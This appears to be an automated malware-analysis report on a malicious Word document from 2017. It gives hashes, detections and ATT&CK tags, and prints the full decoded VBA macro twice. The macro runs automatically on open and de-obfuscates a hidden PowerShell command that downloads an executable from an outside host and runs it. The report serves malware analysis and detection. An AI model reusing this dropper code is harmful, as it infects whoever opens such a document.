Office (OLE) malware analysis — malicious · f313caf92ed1bd87

MALICIOUS

Office (OLE)

106.5 KB Created: 2017-01-19 14:05:00 Authoring application: Microsoft Office Word First seen: 2017-02-23

MD5: 5ef35b6aa9f5b0de50c2d9f3adb1d71c SHA-1: b89e2d2b461c2ee6e865807bb2a762b8bf7e0f94 SHA-256: f313caf92ed1bd87ba587dc2713fc496245dbb6c291db00faf636b6cef02223a

170 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open and CreateObject firings. The macro constructs a string that appears to be a URL and concatenates it with another string, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-5720558-0' further supports its role as a dropper.

Heuristics 6

ClamAV: Doc.Dropper.Agent-5720558-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-5720558-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

jrlznqgtwofywbq = ""
Set wtpxdcinqsqlfkuy = CreateObject(captainclient)
'indicatemandate adviceday

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

Attribute VB_Customizable = True
Public Sub Document_Open()
cbatkzpwbwlhcutsa = Asc("C") - 67

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3978 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	3978 bytes
SHA-256: `f2a0c27f48ea4fc54104a0e79d6029379a1584b3493607e3f325f007bdfc83fd`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Public Sub Document_Open() cbatkzpwbwlhcutsa = Asc("C") - 67 jrlznqgtwofywbq = "wg-33OqQbHgjJJeRcgtJ JYSUqyGgsJHtYGeJmH.3N3JegtHg.HUWYeHbqCqQlJiJJeXgngtqR)Y.RDgJoYqwRn3RlgoJqaJdJgFUgiJlXeQ(J'YJhqtJHtJGpX3:JQ/gX/J3hGgrRXcgdJiJaqmgJoYnQdR.Hc3o3mY/3GmUiJnQXeq.YQeU3xReQ'U,G'3J%JTJE" Dim monkeyoxygen As String monkeyoxygen = "arcticmass" Dim swiftthen As Long swiftthen = 493 'fiberrebuild looppractice Dim clnqbavgcrxbdylm As String clnqbavgcrxbdylm = "wlnhgeqtu" 'wvrsrarlnjzkki outenxxjnevlcgsg eosvlwyit = "gcgYmHdG.qeJYxqJeH J3/HcG3 XpUoYJwqJeUXrXsUhYeHlglXg.gegGxYeqQ Q-JQwq YJhUigdggdge3ngg H-UHnJ3oQpJQ G-ggeHYpJg ggbqXy3pQgaXGsJqsJ g(XNYJeJJ" Dim zjyljghdqbnce(4) zjyljghdqbnce(0) = "wscr" zjyljghdqbnce(1) = "ipt." Dim elegantsoul As String elegantsoul = "yyifnfgihrtqrgkexst" Dim actsuit As Long actsuit = 581 'vadklsahefgmrdtwtmi blurquote Dim doveraw As String doveraw = "sxcyameysjafib" 'ziznzmcath mjfscpsop zjyljghdqbnce(2) = "sh" 'borrowlittle xegjckofucestdmj Dim nothingspy As String nothingspy = "cancelescape" 'aoxbhmrsvxfu cherryelse Dim wpihvyxnzezy As String wpihvyxnzezy = "gentleshoulder" Dim ruoutdztixpf As Long ruoutdztixpf = 343 zjyljghdqbnce(3) = "ell" Dim limitpost As String limitpost = "carryunique" Dim woscycpfewaxxfs As Long woscycpfewaxxfs = 587 eosvlwyit = eosvlwyit & jrlznqgtwofywbq Dim hurehcrbefnpaw As String hurehcrbefnpaw = "avocadoforum" Dim akbgbvzkzyrjmcclig As Long akbgbvzkzyrjmcclig = 442 'tbgopiisscm nylwommto Dim assistjazz As String assistjazz = "nsfheszvuh" 'amongcouple pzkttkwictvkkicl captainclient = Join(zjyljghdqbnce, "") Dim beautyozone As String beautyozone = "lotteryvisa" Dim cactusmillion As Long cactusmillion = 400 eosvlwyit = eosvlwyit & "JJMgPgJ%R\g\YmYgiXQngqeGR.JeQGxGeY'q)HJ Q&Xg JH%3T3JEJMRQPgg%G\g" & "\JmQJi3gnGJeJJ.UReXxJUe" Dim cashmedia As String cashmedia = "pledgesponsor" Dim inzleqndkxb As Long inzleqndkxb = 346 jrlznqgtwofywbq = "" Set wtpxdcinqsqlfkuy = CreateObject(captainclient) 'indicatemandate adviceday Dim retireroute As String retireroute = "shoptool" 'richscript autobanana For ordronluytjmletpjao = 1 To Len(eosvlwyit) 'dependgreat rentrug Dim nsuhoqoan As String nsuhoqoan = "plbjeilfxxabt" 'kodkhhcscz gesturelegend 'ilcmtzjbxypvjhg fatallazy Dim becomecorrect As String becomecorrect = "pxgaafdzfxgvfxj" 'archcorn rlpcrfdrtldtyha poqirmlzq = Mid(eosvlwyit, ordronluytjmletpjao, 1) Dim qmyyghqixeidjvblf As String qmyyghqixeidjvblf = "advicesuffer" Dim ewdqkwdbsqmkdcgfxt As Long ewdqkwdbsqmkdcgfxt = 292 'deviceharbor pxigmbuckyuhd Dim ballphone As String ballphone = "coyoteessence" 'balconysmart aeuzugkih ribbonspread = "YJJHJQUgRgg3XGq" Like "" & poqirmlzq & "" 'ljbjosogsuktc qjzyijonmihkgridz Dim viableviolin As String viableviolin = "zspjyqhkotvyrfuscd" 'autumncraft pahiipjqlzgoaazah If Not ribbonspread Then jrlznqgtwofywbq = jrlznqgtwofywbq & poqirmlzq End If 'fdkykrurccfecxbyq wqepyklmca Dim dcdanlozfrqlsgdxckr As String dcdanlozfrqlsgdxckr = "zaeuqglfnqhcx" 'gritquit basesubject Dim ztggyykvxatdvwgi As String ztggyykvxatdvwgi = "bannerfit" Dim ylsnilfwjhw As Long ylsnilfwjhw = 33 If ordronluytjmletpjao = Len(eosvlwyit) Then wtpxdcinqsqlfkuy.Run jrlznqgtwofywbq, cbatkzpwbwlhcutsa End If Dim postramp As String postramp = "hockeyradar" Dim allgallery As Long allgallery = 794 'cmceqnzuaf tiqcrakpagoekdhza Dim steaktrain As String steaktrain = "noisesalmon" 'ajmwgfftecfwifrzf bidfrog Next 'honeyupgrade chbfnftqeloctzean Dim taffgotcq As String taffgotcq = "xjxlkklesxumzfsdts" 'butterthank boostfalse End Sub

SHA-256: f2a0c27f48ea4fc54104a0e79d6029379a1584b3493607e3f325f007bdfc83fd

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
cbatkzpwbwlhcutsa = Asc("C") - 67
jrlznqgtwofywbq = "wg-33OqQbHgjJJeRcgtJ JYSUqyGgsJHtYGeJmH.3N3JegtHg.HUWYeHbqCqQlJiJJeXgngtqR)Y.RDgJoYqwRn3RlgoJqaJdJgFUgiJlXeQ(J'YJhqtJHtJGpX3:JQ/gX/J3hGgrRXcgdJiJaqmgJoYnQdR.Hc3o3mY/3GmUiJnQXeq.YQeU3xReQ'U,G'3J%JTJE"
Dim monkeyoxygen As String
monkeyoxygen = "arcticmass"
Dim swiftthen As Long
swiftthen = 493
'fiberrebuild looppractice
Dim clnqbavgcrxbdylm As String
clnqbavgcrxbdylm = "wlnhgeqtu"
'wvrsrarlnjzkki outenxxjnevlcgsg

eosvlwyit = "gcgYmHdG.qeJYxqJeH J3/HcG3 XpUoYJwqJeUXrXsUhYeHlglXg.gegGxYeqQ Q-JQwq YJhUigdggdge3ngg H-UHnJ3oQpJQ G-ggeHYpJg ggbqXy3pQgaXGsJqsJ g(XNYJeJJ"
Dim zjyljghdqbnce(4)
zjyljghdqbnce(0) = "wscr"
zjyljghdqbnce(1) = "ipt."
Dim elegantsoul As String
elegantsoul = "yyifnfgihrtqrgkexst"
Dim actsuit As Long
actsuit = 581
'vadklsahefgmrdtwtmi blurquote
Dim doveraw As String
doveraw = "sxcyameysjafib"
'ziznzmcath mjfscpsop
zjyljghdqbnce(2) = "sh"
'borrowlittle xegjckofucestdmj
Dim nothingspy As String
nothingspy = "cancelescape"
'aoxbhmrsvxfu cherryelse
Dim wpihvyxnzezy As String
wpihvyxnzezy = "gentleshoulder"
Dim ruoutdztixpf As Long
ruoutdztixpf = 343
zjyljghdqbnce(3) = "ell"
Dim limitpost As String
limitpost = "carryunique"
Dim woscycpfewaxxfs As Long
woscycpfewaxxfs = 587
eosvlwyit = eosvlwyit & jrlznqgtwofywbq
Dim hurehcrbefnpaw As String
hurehcrbefnpaw = "avocadoforum"
Dim akbgbvzkzyrjmcclig As Long
akbgbvzkzyrjmcclig = 442
'tbgopiisscm nylwommto
Dim assistjazz As String
assistjazz = "nsfheszvuh"
'amongcouple pzkttkwictvkkicl
captainclient = Join(zjyljghdqbnce, "")
Dim beautyozone As String
beautyozone = "lotteryvisa"
Dim cactusmillion As Long
cactusmillion = 400
eosvlwyit = eosvlwyit & "JJMgPgJ%R\g\YmYgiXQngqeGR.JeQGxGeY'q)HJ Q&Xg JH%3T3JEJMRQPgg%G\g" & "\JmQJi3gnGJeJJ.UReXxJUe"
Dim cashmedia As String
cashmedia = "pledgesponsor"
Dim inzleqndkxb As Long
inzleqndkxb = 346
jrlznqgtwofywbq = ""
Set wtpxdcinqsqlfkuy = CreateObject(captainclient)
'indicatemandate adviceday
Dim retireroute As String
retireroute = "shoptool"
'richscript autobanana
For ordronluytjmletpjao = 1 To Len(eosvlwyit)
'dependgreat rentrug
Dim nsuhoqoan As String
nsuhoqoan = "plbjeilfxxabt"
'kodkhhcscz gesturelegend
'ilcmtzjbxypvjhg fatallazy
Dim becomecorrect As String
becomecorrect = "pxgaafdzfxgvfxj"
'archcorn rlpcrfdrtldtyha
poqirmlzq = Mid(eosvlwyit, ordronluytjmletpjao, 1)
Dim qmyyghqixeidjvblf As String
qmyyghqixeidjvblf = "advicesuffer"
Dim ewdqkwdbsqmkdcgfxt As Long
ewdqkwdbsqmkdcgfxt = 292
'deviceharbor pxigmbuckyuhd
Dim ballphone As String
ballphone = "coyoteessence"
'balconysmart aeuzugkih
ribbonspread = "YJJHJQUgRgg3XGq" Like "*" & poqirmlzq & "*"
'ljbjosogsuktc qjzyijonmihkgridz
Dim viableviolin As String
viableviolin = "zspjyqhkotvyrfuscd"
'autumncraft pahiipjqlzgoaazah
If Not ribbonspread Then
jrlznqgtwofywbq = jrlznqgtwofywbq & poqirmlzq
End If
'fdkykrurccfecxbyq wqepyklmca
Dim dcdanlozfrqlsgdxckr As String
dcdanlozfrqlsgdxckr = "zaeuqglfnqhcx"
'gritquit basesubject
Dim ztggyykvxatdvwgi As String
ztggyykvxatdvwgi = "bannerfit"
Dim ylsnilfwjhw As Long
ylsnilfwjhw = 33
If ordronluytjmletpjao = Len(eosvlwyit) Then
wtpxdcinqsqlfkuy.Run jrlznqgtwofywbq, cbatkzpwbwlhcutsa
End If
Dim postramp As String
postramp = "hockeyradar"
Dim allgallery As Long
allgallery = 794
'cmceqnzuaf tiqcrakpagoekdhza
Dim steaktrain As String
steaktrain = "noisesalmon"
'ajmwgfftecfwifrzf bidfrog
Next
'honeyupgrade chbfnftqeloctzean
Dim taffgotcq As String
taffgotcq = "xjxlkklesxumzfsdts"
'butterthank boostfalse
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.